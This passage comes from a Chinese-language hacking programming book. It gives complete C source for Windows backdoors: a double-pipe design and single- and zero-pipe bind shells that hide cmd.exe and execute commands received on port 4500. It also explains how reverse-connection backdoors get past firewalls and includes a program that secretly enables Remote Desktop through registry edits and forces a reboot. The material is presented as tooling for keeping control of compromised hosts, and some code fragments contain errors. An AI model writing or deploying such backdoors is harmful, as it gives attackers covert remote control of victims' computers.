PROCESS_INFORMATION pi;

char ReadBuf[100];

DWORD ReadNum;

HANDLE hRead;//管道读句柄

HANDLE hWrite;//管道写句柄

BOOL bRet=CreatePipe(＆hRead,＆hWrite, NULL,0);//创建匿名管道

if(bRet==TRUE)

printf("成功创建匿名管道!\n");

else

printf("创建匿名管道失败,错误代码:%d\n",GetLastError());

//得到本进程的当前标准输出

HANDLE hTemp=GetStdHandle(STD_OUTPUT_HANDLE);

//设置标准输出到匿名管道

SetStdHandle(STD_OUTPUT_HANDLE, hWrite);

GetStartupInfo(＆si);//获取本进程的STARTUPINFO结构信息

bRet=CreateProcess(NULL,"Client.exe",NULL, NULL, TRUE, NULL, NULL, NULL,＆si,＆pi);

//创建子进程

SetStdHandle(STD_OUTPUT_HANDLE, hTemp);//恢复本进程的标准输出

if(bRet==TRUE)//输入信息

printf("成功创建子进程!\n");

else

printf("创建子进程失败,错误代码:%d\n",GetLastError());

CloseHandle(hWrite);//关闭写句柄

//读管道直至管道关闭

while(ReadFile(hRead, ReadBuf,100,＆ReadNum, NULL))

{

ReadBuf[ReadNum]='\0';

printf("从管道[%s]读取%d字节数据\n",ReadBuf, ReadNum);

}

if(GetLastError()==ERROR_BROKEN_PIPE)//输出信息

printf("管道被子进程关闭\n");

printf("读数据错误,错误代码:%d\n",GetLastError());

else

4.2.2　正向连接后门的编程

正向连接后门是在被控制计算机上监听一个端口，等待连接，当存在连接后，就会启动后门功能。正向连接后门是最初的后门。这种后门是非常被动的，一旦目标计算机中安装有防火墙，此后门就可能被防火墙拦截。正向连接后门的一般实现流程如图4-3所示。

常见的正向连接后门有双管道后门、单管道后门以及零管道后门，其实现的步骤可能与图4-3所示步骤会有所不同，因为图4-3中介绍的是后门的一般实现步骤。

图　4-3　正向连接后门的实现流程图

1.双管道后门

双管道后门是在后门中建立两个管道。由于匿名是单向的，所以cmd的执行结果写入管道A的写句柄（hWritePipe），后门从管道A的读句柄（hReadFile）读取cmd执行结果，将接收到的命令写入管道B的写句柄（hWriteFile），最后cmd通过管道B的读句柄（hReadFile）读取命令执行。其实现过程如图4-4所示。

图　4-4　双管道后门实现流程图

下面来创建双管道后门，需要先创建一个TCP客户端。在TCP客户端成功建立后，可以使用Create函数来建立两个管道。由于不确定管道A中有数据的时间以及收到指令的时间，这里需要创建两个线程，而每个线程建立一个管道。其中线程B用于循环读取管道A中的数据，当读到数据后，就会发送给后门。线程B的作用是接收数据，一旦接收到数据就会写到管道B中，最后由cmd执行。

下面代码的作用是创建两个线程：

//接收远程主机的命令,并写入管道B

DWORD WINAPI ThreadA(LPVOID lpParam)

{

SECURITY_ATTRIBUTES sa;

DWORD nByteToWrite, nByteWritten;

char recv_buff[1024];

sa.nLength=sizeof(SECURITY_ATTRIBUTES);

sa.lpSecurityDescriptor=NULL;

sa.bInheritHandle=TRUE;

//创建管道

CreatePipe(＆hReadPipe,＆hWriteFile,＆sa,0);

while(true)

{

Sleep(250);

//接收远程cmd命令

nByteToWrite=recv(sClient, recv_buff,1024,0);

//写入管道

WriteFile(hWriteFile, recv_buff, nByteToWrite,＆nByteWritten, NULL);

}

return 0;

}

//读取管道A中的数据,返回给远程主机

DWORD WINAPI ThreadA(LPVOID lpParam)

{

SECURITY_ATTRIBUTES sa;

DWORD len;

char send_buff[2048];

sa.nLength=sizeof(SECURITY_ATTRIBUTES);

sa.lpSecurityDescriptor=NULL;

sa.bInheritHandle=TRUE;

CreatePipe(＆hReadFile,＆hWritePipe,＆sa,0);

while(true)

{

//读取管道中的数据

ReadFile(hReadFile, send_buff,2048,＆len, NULL);

//把管道中的数据发送给远程主机

send(sClient, send_buff, len,0);

}

return 0;

}

由于管道没有将cmd的输入/输出相关联，所以在启动后，线程A是不能从管道A中读到数据的。同时如果线程B将接收到的命令写入到管道B中，cmd也是不会执行的。所以只有把管道和cmd的输入/输出相关联并且启动cmd进程后，这两个管道才可以发挥其作用。

此时使用LPSTARTUPINFO结构可以把管道句柄与cmd的输入/输出关联起来。这个结构是CreateProcess函数的一个参数，它指定了新进程中的主窗口的位置、大小、输入、输出等属性。所以在调用CreateProcess函数前必须对LPSTARTUPINFO结构进行初始化，从而实现管道与cmd输入/输出的关联。LPSTARTUPINFO结构的具体格式如下：

typedef struct_STARTUPINFO

{

DWORD cb;//包含STARTUPINFO结构中的字节数

PSTR lpReserved;//必须初始化为NULL

PSTR lpDesktop;//用于标识启动应用程序所在的桌面的名字

PSTR lpTitle;//用于设定控制台窗口的名称

DWORD dwX;//用于设定应用程序窗口在屏幕上应该放置的位置的X坐标(以像素为单位)

DWORD dwY;//用于设定应用程序窗口在屏幕上应该放置的位置的Y坐标

DWORD dwXSize;//用于设定应用程序窗口的宽度

DWORD dwYSize;//用于设定应用程序窗口的高度

DWORD dwXCountChars;//用于设定子应用程序的控制台窗口的宽度(以字符为单位)

DWORD dwYCountChars;//用于设定子应用程序的控制台窗口的高度

DWORD dwFillAttribute;//用于设定子应用程序的控制台窗口使用的文本和背景颜色

DWORD dwFlags;//设定子应用程序的控制台窗口使用的背景颜色

WORD wShowWindow;//用于设定如果子应用程序初次调用的ShowWindow将SW_SHOWDEFAULT作为

nCmdShow参数传递时,该应用程序的第一个重叠窗口应该如何出现

WORD cbReserved2;//必须被初始化为0

PBYTE lpReserved2;//必须被初始化为NULL

HANDLE hStdInput;//用于设定供控制台输入用的缓存的句柄

HANDLE hStdOutput;//用于设定供控制台输出用的缓存的句柄

HANDLE hStdError;

}STARTUPINFO,*LPSTARTUPINFO;

不难看出，这个结构中成员很多，为了方便用户，微软还提供了GetStartupInfo函数，该函数只有一个si参数，该参数指向一个STARTUPINFO。所以可调用GetStartupInfo函数得到当前进程中STARTUPINFO结构，再对其进行修改就可以实现关联了。

其具体格式如下：

GetStartupInfo(＆si);//用当前进程初始化信息来定义STARTUPINFO结构

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//dwFlags参数的作用是指定STARTUPINFO

结构中有效的参数

si.hStdInput=hReadPipe;//从管道B读句柄输入,读取命令

si.hStdError=hWritePipe;//错误输出到管道A写句柄

si.hStdOutput=hWritePipe;//执行结构从管道写句柄输入

si.wShowWindow=SW_HIDE;//隐藏cmd窗口

到这里就可以实现cmd与管道之间的通信关系，下面就剩下调用CreateProcess函数启动cmd进程了。该函数的具体格式如下：

BOOL CreateProcess

(

LPCTSTR lpApplicationName,

LPTSTR lpCommandLine,

LPSECURITY_ATTRIBUTES lpProcessAttributes,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

BOOL bInheritHandles,

DWORD dwCreationFlags,

LPVOID lpEnvironment,

LPCTSTR lpCurrentDirectory,

LPSTARTUPINFO lpStartupInfo,

LPPROCESS_INFORMATION lpProcessInformation

);

其中各个参数的具体含义如下。

lpApplicationName：指向一个NULL结尾的、用来指定可执行模块的字符串。

lpCommandLine：指向一个NULL结尾的、用来指定要运行的命令行。

lpProcessAttributes：描述进程的安全性属性，NULL表示默认的安全性。

lpThreadAttributes：定义进程初始线程的安全属性，NULL表示默认的安全性。

bInheritHandles：指示新进程是否从调用进程处继承了句柄。

dwCreationFlags：指定附加的、用来控制优先类和进程的创建的标志。

lpEnvironment：指向一个新进程的环境块。如果此参数为空，新进程使用调用进程的环境。

lpCurrentDirectory：指向一个以NULL结尾的字符串，这个字符串用来指定子进程的工作路径。

lpStartupInfo：指向一个用于决定新进程的主窗体如何显示的STARTUPINFO结构体。

lpProcessInformation：指向一个用来接收新进程的识别信息的PROCESS_INFORMATION结构体。该结构体的具体格式如下。

typedef struct_PROCESS_INFORMATION{

HANDLE hProcess;//存放每个对象的与进程相关的句柄

HANDLE hThread;//返回的线程句柄

DWORD dwProcessId;//用来存放进程ID号

DWORD dwThreadId;//用来存放线程ID号

}PROCESS_INFORMATION

在创建双管道后门时，调用CreateProcess函数的具体代码如下：

PROCESS_INFORMATION pi;

Char cmdline[256]={0};

GetSystemDirectory(cmdline, sizeof(cmdline));//得到系统进程

strcat(cmdline,"\\cmd.exe");

if(CreateProcess(cmdline, NULL, NULL, NULL, TRUE,0,NULL, NULL,＆si,＆pi)==0)//创建cmd进程

{

printf("CreateProcess Error\n");

return 0;

}

如果创建cmd进程成功，则返回TURE。至此就完成一个双管道后门的制作了。

2.单管道后门

对于双管道后门，当有用户连接后会创建一个cmd进程，而这个进程是一直存在的，所以这样的后门的隐蔽性就比较差。可以使用单管道后门来弥补这个缺陷。在【运行】对话框中输入"cmd/C net user 123 123/add"命令，即可看到【命令提示符】窗口一闪而过，此时在进程列表中并没有留下cmd进程，而用户名已经被添加了。如果创建的后门可以在执行完命令，就会自动退出，这样就可以实现隐藏自己的目的。由于cmd是带参数创建的，就不需要使用管道来传递指令，此时创建的后门只有一个管道。

下面代码的作用是创建一个单管道后门：

#include"stdafx.h"

#include＜stdio.h＞

#include＜winsock2.h＞

#pragma comment(lib,"ws2_32.lib")

int main(int argc, char*argv[])

{

char wMessage[512]="\r\n=========BackDoor by新起点===========\r\n";

//初始化socket并监听端口

SOCKET sClient;

BYTE minorVer=2;

BYTE majorVer=2;

WSADATA wsaData;

WORD sockVersion=MAKEWORD(minorVer, majorVer);

if(WSAStartup(sockVersion,＆wsaData)!=0)

return 0;

SOCKET sListen=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(sListen==INVALID_SOCKET)

{

printf("socket error\n");

return 0;

}

sockaddr_in sin;

sin.sin_family=AF_INET;

sin.sin_port=htons(4500);

sin.sin_addr.S_un.S_addr=INADDR_ANY;

if(bind(sListen,(LPSOCKADDR)＆sin, sizeof(sin))==SOCKET_ERROR)

{

printf("bind error\n");

return 0;

}

if(listen(sListen,5)==SOCKET_ERROR)

{

printf("listen error\n");

return 0;

}

//接收连接

sClient=accept(sListen, NULL, NULL);

//发送欢迎信息

send(sClient, wMessage, strlen(wMessage),0);

char rBuffer[1024]={0};

char cmdline[256]={0};

//循环,用于接收命令,创建进程执行,并从管道中读出执行结果返回给远程主机

while(true)

{

//cmdline清零

memset(cmdline,0,256);

SECURITY_ATTRIBUTES sa;

HANDLE hRead, hWrite;

sa.nLength=sizeof(SECURITY_ATTRIBUTES);

sa.lpSecurityDescriptor=NULL;

sa.bInheritHandle=TRUE;

if(!CreatePipe(＆hRead,＆hWrite,＆sa,0))

{

printf("CreatePipe Error");

return 0;

}

STARTUPINFO si;

PROCESS_INFORMATION pi;

si.cb=sizeof(STARTUPINFO);

GetStartupInfo(＆si);

//使cmd和管道关联,但是与双管道相比少了si.hStdInput=hReadPipe;因为是使用命令进行输入的

si.hStdError=hWrite;

si.hStdOutput=hWrite;

si.wShowWindow=SW_HIDE;

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

//得到系统目录

GetSystemDirectory(cmdline, sizeof(cmdline));

strcat(cmdline,"\\cmd.exe/c");

char cmdbuff[256];

//接收远程命令

int rLen=recv(sClient, cmdbuff,256,NULL);

if(rLen==SOCKET_ERROR)

return 0;

//在cmd后加入命令

strncat(cmdline, cmdbuff, strlen(cmdbuff));

//创建进程执行命令

if(!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL,＆si,＆pi))

{

printf("CreateProcess Error");

continue;

}

CloseHandle(hWrite);

DWORD dwRead;

//循环,监视管道中的返回信息,也就是执行命令后的返回信息

while(ReadFile(hRead, rBuffer,1024,＆dwRead, NULL))

{

//发送执行结果

send(sClient, rBuffer, strlen(rBuffer),0);

memset(rBuffer,0,1024);

}

}

return 0;

}

3.零管道后门

零管道，就是不要管道，可直接将接收到的socket赋给cmd.exe的输入和输出。但不是所有socket都可以直接赋值，只有非重叠I/O的socket才可以。可以使用WSASocket函数代替socket函数建立套接字，由于用WSASocket函数建立的套接字可以重叠I/O操作，所以可以直接把套接字和cmd的输入/输出关联起来。

具体的关联代码如下：

si.hStdInput=si.hStdOutput=si.hStdError=(void*)s；

其中si是STARTUPINFO结构，其作用是当socket收到命令时会直接传递给cmd执行，而cmd的执行结果又会被直接传递给socket发送。下面要做的工作就是建立cmd进程，等待进程结束后，再返回执行结果，就可以实现无管道而在cmd和后门之间进行通信。

建立无管道后门的具体代码如下：

#include"stdafx.h"

#include＜stdio.h＞

#include＜winsock2.h＞

#pragma comment(lib,"ws2_32.lib")

int cmdshell(SOCKET s)

{

STARTUPINFO si;

GetStartupInfo(＆si);

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

si.wShowWindow=SW_HIDE;

//使cmd的输入/输出直接和socket关联

si.hStdInput=si.hStdOutput=si.hStdError=(void*)s;

char cmdline[256];

//得到cmd路径

GetSystemDirectory(cmdline, sizeof(cmdline));

strcat(cmdline,"\\cmd.exe");

PROCESS_INFORMATION ProcessInformation;

int ret;

//建立cmd进程

ret=CreateProcess(NULL, cmdline, NULL, NULL,1,0,NULL, NULL,＆si,＆ProcessInformation);

//等待进程结束

WaitForSingleObject(ProcessInformation.hProcess, INFINITE);

CloseHandle(ProcessInformation.hProcess);

return 0;

}

int main(int argc, char*argv[])

{

char wMessage[512]="\r\n===============BackDoor by新起点==============\r\n";

//初始化socket,并且监听端口

SOCKET sClient;

BYTE minorVer=2;

BYTE majorVer=2;

WSADATA wsaData;

WORD sockVersion=MAKEWORD(minorVer, majorVer);

if(WSAStartup(sockVersion,＆wsaData)!=0)

return 0;

//设置socket属性

SOCKET sListen=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,0,0);

if(sListen==INVALID_SOCKET)

{

printf("WSASocket error\n");

return 0;

}

sockaddr_in sin;

sin.sin_family=AF_INET;

sin.sin_port=htons(4500);

sin.sin_addr.S_un.S_addr=INADDR_ANY;

if(bind(sListen,(LPSOCKADDR)＆sin, sizeof(sin))==SOCKET_ERROR)

{

printf("bind error\n");

return 0;

}

if(listen(sListen,5)==SOCKET_ERROR)

{

printf("listen error\n");

return 0;

}

//接收连接

sClient=accept(sListen, NULL, NULL);

send(sClient, wMessage, strlen(wMessage),0);

//启动cmdshell

cmdshell(sClient);

return 0;

在一般情况下，单管道后门的运行效率和稳定性是比较好的，但其唯一的缺陷表现在：一旦连接就会存在cmd进程。

4.2.3　反向连接后门的编程

随着各种各样的防火墙和反病毒软件开始对来自外部的网络连接进行监控，采用正向连接的后门已不再适应现在的网络环境了。为了能够继续进行远程控制，后门不得不从体制上进行改变，这就出现了采用反向连接技术的后门。

从本质上来说，反向连接和正向连接的区别并不大。在正向连接的情况下，服务器端也就是被控制端，在编程实现时采用服务器端的编程方法；而控制端在编程实现时采用客户端的编程方法。当采用反向的方法编程时，实际就是将被控制端变成了采用客户端的编程方法，而将控制端变成了采用服务器端的编程方法（Socket）。

反向连接后门就是后门充当客户端，由后门发起连接，即从被控端的服务器发起连接，而在本地只需监听特定的端口即可。所以这样的后门可以穿透一些防火墙。与正向连接后门一样，反向连接后门可分为双管道反向后门、单管道反向后门以及零管道反向后门。其编程方法和正向连接后门相似，这里不再赘述。

4.3　编写简单的后门程序

为了实现长期控制该主机的目的，黑客往往会在成功入侵后，在该计算机中留下后门。通过情况下，后门可以从网站上下载。但可通过编程法来编写出一些具有特定功能的后门程序。

4.3.1　编程实现远程终端的开启

由于后门一般是运行在服务器上的，而服务器上安装的操作系统一般为Server版的，所以有必要开启远程终端功能。终端服务只存在于Windows 2000 Server版、XP和2003中，而且终端服务在默认情况下是不安装的，如果需要则可通过“删除/添加Windows组件”来安装。终端服务的重要作用是方便多用户同时操作网络中开启的终端服务器，所有用户对同一台服务器的所有操作都放在该服务器上。

通过修改注册表可开启远程终端。在Windows XP和2003中修改注册表是不用重启系统的，而在Windows 2000中修改注册表之后，需要重启系统才可开启远程终端功能。在Windows XP中开启终端之后不支持多用户登录，即当本地已有用户登录，远程再有用户登录终端，本地用户就会处于注销状态。通过修改注册表开启远程终端的具体流程如图4-5所示。

图　4-5　开启远程终端流程

对于不同的操作系统修改的注册表项是不同的，但可对这三个操作系统中开启终端所需的所有键值都进行修改，并将验证这样是可行的。

在一般情况下，修改的注册表如下：

（1）在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache下，建立netcache键，并创建字符串"Enabled"="0"。

（2）在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Win logon下修改"ShutdownWithoutLogon"的键值，即"ShutdownWithoutLogon"="0"。

（3）在HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer下建立Installer键，并建立十进制类型值EnableAdminTSRemote，其值为"EnableAdminTSRemote"=dword:00000001。

（4）在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer下修改TSEnabled键值，即"TSEnabled"=dword:00000001。

（5）在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD下修改Start键值，即"Start"=dword:00000002。

（6）在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService下修改Start键值，即"Start"=dword:00000002。

（7）在HKEY_USERS\.DEFAULT\KeyboardLayout\Toggle下修改Hotkey键值，即"Hotkey"="1"。

（8）在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer下修改fDenyTSconnections键值，即"fDenyTSconnections"=dword:00000000。

（9）在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\RDPTcp下修改PortNumber键值为十进制类型，其值为终端端口号。

（10）在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Win Stations\RDP-Tcp下修改PortNumber键值为十进制类型，其值为终端端口号。

（11）在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp下修改PortNumber键值为十进制类型，其值为终端端口号。

对注册表进行修改操作，可以使用上一章介绍的CreateStringReg和CreateDWORDReg函数来实现。如果在Windows 2003中进行操作时，需要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer下修改fDenyTSconnections键值为dword:00000001，否则开启远程终端就会失败。在修改完注册表键值后就需要判断系统是否是Windows 2000，要想得到当前系统版本可通过GetVersionEx函数来实现。该函数的具体格式如下：

BOOL GetVersionEx(LPOSVERSIONINFO);

该函数只包含了一个参数lpVersionInformation，它指向一个OSVERSIONINFO结构，该结构的作用是加载当前系统版本信息。

该结构的具体定义如下：

typedef struct_OSVERSIONINFO{

DWORD dwOSVersionInfoSize;

DWORD dwMajorVersion;

DWORD dwMinorVersion;

DWORD dwBuildNumber;

DWORD dwPlatformId;

TCHAR szCSDVersion[128];

}OSVERSIONINFO;

其中dwMajorVersion和dwMinorVersion参数与系统版本号有关。对于不同的操作系统这两个参数的取值是有所不同的，如表4-1所示。

当使用GetVersionEx函数得到系统版本是Windows 2000时就要重启计算机。

开启远程终端的代码如下：

#include"stdafx.h"

#include＜windows.h＞

#include＜stdio.h＞

#include＜stdlib.h＞

//用于修改字符串类型键值

void CreateStringReg(HKEY hRoot, char*szSubKey, char*ValueName, char*Data)

{

HKEY hKey;

//打开注册表键,不存在则创建它

long lRet=RegCreateKeyEx(hRoot, szSubKey,0,NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,＆hKey, NULL);

if(lRet!=ERROR_SUCCESS)

{

printf("error no RegCreateKeyEx%s\n",szSubKey);

return;

}

//修改注册表键值,没有则创建它

lRet=RegSetValueEx(hKey, ValueName,0,REG_SZ,(BYTE*)Data, strlen(Data));

if(lRet!=ERROR_SUCCESS)

{

printf("error no RegSetValueEx%s\n",ValueName);

return;

}

RegCloseKey(hKey);

}

//用于修改数字类型键值

void CreateDWORDReg(HKEY hRoot, char*szSubKey, char*ValueName, DWORD Data)

{

HKEY hKey;

//打开注册表键,不存在则创建它

long lRet=RegCreateKeyEx(hRoot, szSubKey,0,NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,＆hKey, NULL);

if(lRet!=ERROR_SUCCESS)

{

printf("error no RegCreateKeyEx%s\n",szSubKey);

return;

}

DWORD dwSize=sizeof(DWORD);

//修改注册表键值,没有则创建它

lRet=RegSetValueEx(hKey, ValueName,0,REG_DWORD,(BYTE*)＆Data, dwSize);

if(lRet!=ERROR_SUCCESS)

{

printf("error no RegSetValueEx%s\n",ValueName);

return;

}

RegCloseKey(hKey);

}

//重启计算机函数

void Reboot()

{

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,＆hToken))

return;

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,＆tkp.Privileges[0].Luid);

tkp.PrivilegeCount=1;

tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE,＆tkp,0,(PTOKEN_PRIVILEGES)NULL,0);

ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);

}

int main(int argc, char*argv[])

{

DWORD Port=atoi(argv[1]);

CreateStringReg(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\

netcache","Enabled","0");

CreateDWORDReg(HKEY_LOCAL_MACHINE,"SOFTWARE\\Policies\\Microsoft\\Windows\\

Installer","EnableAdminTSRemote",0x00000001);

CreateStringReg(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersi-

on\\Winlogon","ShutdownWithoutLogon","0");

CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Terminal

Server","TSEnabled",0x00000001);

CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\TermDD","

Start",0x00000002);

CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\TermService",

"Start",0x00000002);

CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",

"fDenyTSConnections",0x00000001);

CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Terminal

Server\\RDPTcp","PortNumber",Port);

CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server

\\WinStations\\RDP-Tcp","PortNumber",Port);

CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Terminal

Server\\Wds\\rdpwd\\Tds\\tcp","PortNumber",Port);

CreateStringReg(HKEY_USERS,".DEFAULT\\Keyboard Layout\\Toggle","Hotkey","2");

CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Terminal

Server","fDenyTSConnections",0x00000000);

OSVERSIONINFO osver={sizeof(OSVERSIONINFO)};

//得到系统版本号

GetVersionEx(＆osver);

//判断是不是Windows 2000,是,则重启计算机

if(osver.dwMajorVersion==5＆＆osver.dwMinorVersion==0)

Reboot();

return 0;

}

4.3.2　编程实现文件查找功能

利用后门的文件查找功能，可以实现快速查找目标主机中某种格式的文件，如寻找目标主机中的日志文件，该功能是后门中比较少见的功能。

文件查找其实是一个比较复杂的过程，文件查找具体流程如图4-6所示。

图　4-6　查找文件一般流程

不难看出，文件查找可分为如下三个步骤：

（1）对文件夹下的文件进行查找对比，查看是否有符合要求的文件。

（2）同时列出这个文件夹下的所有子文件夹。

（3）对该文件夹中的文件进行查找，如果找到符合要求的文件则输出该文件。然后对其他文件进行查找，重复上面两步操作，直到找遍所有的文件夹。

如果要实现文件查找功能，还必须借助于链表。链表是一种物理存储单元上非连续、非顺序的存储结构，数据元素的逻辑顺序是通过链表中的指针链接次序实现的。链表由一系列结点组成，结点可以在运行时动态生成。每个结点包括两个部分：一个是存储数据元素的数据域，另一个是存储下一个结点地址的指针域。链表中第一个结点的地址存储的单独的单元被称为链表的起始（First），而最后一个结点被称为连接的尾（Last）。

把每次找到的文件加入到链表中，而当对一个文件夹搜索完毕后，就从链表中读取下一个结点得到另一个文件夹，并删除这个结点，对得到的文件夹下的文件进行查找对比。如果遍历到文件夹就再加入到链表，一旦找到符合条件的文件就输出。这样直到链表为空时，就可以遍历所有的目录了。此链表的结构如图4-7所示。

图　4-7　链表的结构

在C++中，链表中的结点对应的结构如下：

Struct DirList{

Char table[256];

DirList*pnext};

其中各个参数的含义如下。

table：该参数用来指定保存找到的文件夹名。

*pnext：指向下一个结点的地址，即下一个DirList结构的地址。

在找到文件夹后，需要把该文件夹加入到链表中。在链表为空的情况下（first和last结点指向的目标均为空），只把first和last结点都指向刚加入的结点即可。一般情况下，链表往往是非空的，此时将文件加入链表的流程如图4-8所示。不难看出，这种情况是比较复杂的。

图　4-8　将结点加到非空链表中

其中虚线表示文件夹。在没加入新结点前存在，而在加入新结点后其就不存在了。如果想加入“文件夹2”结点，则把最后一个结点的pNext字段指向新的结点，且把last结点指向新的结点。当找到文件夹后，把该文件夹名放入链表的函数即可。

将结点加入链表用到的代码如下：

DirList*first,*newlist,*last;

void AddList(char*list)//加入文件夹链表

{

newlist=new DirList;

strcpy(newlist-＞table, list);

newlist-＞pNext=NULL;

if(first==NULL)//假如文件链表为空,那么第一个和最后一个结点都指向新结点

{

first=newlist;

last=newlist;

}

else//不为空,则原来最后一个结点指向新结点

{

last-＞pNext=newlist;

last=newlist;

}

}

其中AddList函数的list参数指向一个文件夹的字符串。当一个结点被使用过后，即该结点中保存的文件夹下的文件和子文件夹已经被搜索过后，需要将该结点删除。由于访问结点是从第一个结点开始的，即每次first指向的结点。要想删除结点，只需将first指向第2个结点，即first=first—＞pnext。删除结点的一般流程如图4-9所示。

图　4-9　删除结点一般流程

到这里链表部分已经介绍完了，下面将介绍如何实现对一个文件夹进行遍历。在遍历文件夹时，需要用到FindFirstFile和FindNextFile两个函数。首先获得一个句柄，再利用后者继续查找文件。因为FindNextFile函数中第一个参数是FindFirstFile函数返回的句柄。

其中FindFirstFile函数的具体格式如下：

HANDLE FindFirstFile(

LPCTSTR lpFileName,//文件名

LPWIN32_FIND_DATA lpFindFileData//数据缓冲区

);

其中各个参数的作用如下。

lpFileName：欲搜索的文件名。可包含通配符，并可包含一个路径或相对路径名。

lpFindFileData：该参数是输出参数，它指向一个WIN32_FIND_DATA结构，该结构用于装载与找到的文件有关的信息，也可用于后续的搜索。该结构的具体格式如下：

typedef struct_WIN32_FIND_DATA{

DWORD dwFileAttributes;//文件属性

FILETIME ftCreationTime;//文件创建时间

FILETIME ftLastAccessTime;//文件最后一次访问时间

FILETIME ftLastWriteTime;//文件最后一次修改时间

DWORD nFileSizeHigh;//文件长度高32位

DWORD nFileSizeLow;//文件长度低32位

DWORD dwReserved0;//系统保留

DWORD dwReserved1;//系统保留

TCHAR cFileName[MAX_PATH];//长文件名

TCHAR cAlternateFileName[14];//8.3格式文件名

}WIN32_FIND_DATA,*PWIN32_FIND_DATA;

可以通过FindFirstFile()函数根据当前的文件存放路径查找该文件，来把待操作文件的相关属性读取到WIN32_FIND_DATA结构中。其使用的代码如下：

WIN32_FIND_DATA ffd;

HANDLE hFind=FindFirstFile("C:\\test.dat",＆ffd);

但在使用这个结构时不能手工修改这个结构中的任何数据，结构对于开发人员来说只能作为一个只读数据，其所有的成员变量都会由系统完成填写。如果FindFirstFile函数调用成功，则返回可供FindNextFile函数和FindClose函数使用的句柄，否则返回INVALID_HANDLE_VALUE。在得到句柄后，可以使用FindNextFile函数继续查找FindFirstFile函数搜索后的文件。该函数的具体格式如下：

BOOLFindNextFile(

HANDLE hFindFile,

LPWIN32_FIND_DATA lpFindFileData);

其中各个参数的作用如下。

hFindFile：搜索的文件句柄，函数执行的时候搜索的是此句柄的下一文件。

lpFindFileData：指向一个用于保存文件信息的结构体，该参数与FindFirstFile中的lpFindFileData参数是一样的。

如果该函数调用成功，则返回可供FindNextFile函数和FindClose函数使用的句柄，否则返回INVALID_HANDLE_VALUE。当遍历一个文件夹时先使用FindFirstFile函数，如果调用成功，返回hFindFile来查找对应操作，利用该句柄循环调用FindNextFile函数来继续查找其他文件，直到调用该函数失败，最后使用FindClose函数来关闭hFindFile句柄。

在查找文件时用到的代码如下：

hFindFile=FindFirstFile(DirRoad,＆findData);

if(hFindFile!=INVALID_HANDLE_VALUE)

{

do

{

//对找到的文件进行处理

}while(FindNextFile(hFindFile,＆findData));

}

下面是通过遍历一个文件查找符合要求文件的代码：

#include"stdafx.h"

#include＜windows.h＞

#include＜stdio.h＞

struct DirList{

char table[256];

DirList*pNext;

};

DirList*first,*newlist,*last;

void AddList(char*list)//加入文件夹链表

{

newlist=new DirList;

strcpy(newlist-＞table, list);

newlist-＞pNext=NULL;

if(first==NULL)

//假如文件链表为空,则第一个和最后一个结点都指向新结点

{

first=newlist;

last=newlist;

}

else//不为空,则原来最后一个结点指向新结点

{

last-＞pNext=newlist;

last=newlist;

}

}

void FindFile(char*pRoad, char*pFile)//查找文件并把找到的文件夹加入文件夹链表

{

char FileRoad[256]={0};

char DirRoad[256]={0};

char FindedFile[256]={0};

char FindedDir[256]={0};

strcpy(FileRoad, pRoad);

strcpy(DirRoad, pRoad);

strcat(DirRoad,"\\*.*");

WIN32_FIND_DATA findData;

HANDLE hFindFile;

hFindFile=FindFirstFile(DirRoad,＆findData);

if(hFindFile!=INVALID_HANDLE_VALUE)

{

do

{

if(findData.cFileName[0]=='.')

continue;

if(findData.dwFileAttributes＆FILE_ATTRIBUTE_DIRECTORY)//假如是文件夹,则加入文件夹列表

{

strcpy(FindedDir, pRoad);

strcat(FindedDir,"\\");

strcat(FindedDir, findData.cFileName);

//加入文件夹列表

AddList(FindedDir);

memset(FindedDir,0x00,256);

}

//继续查找

}while(FindNextFile(hFindFile,＆findData));

}

strcat(FileRoad,"\\");

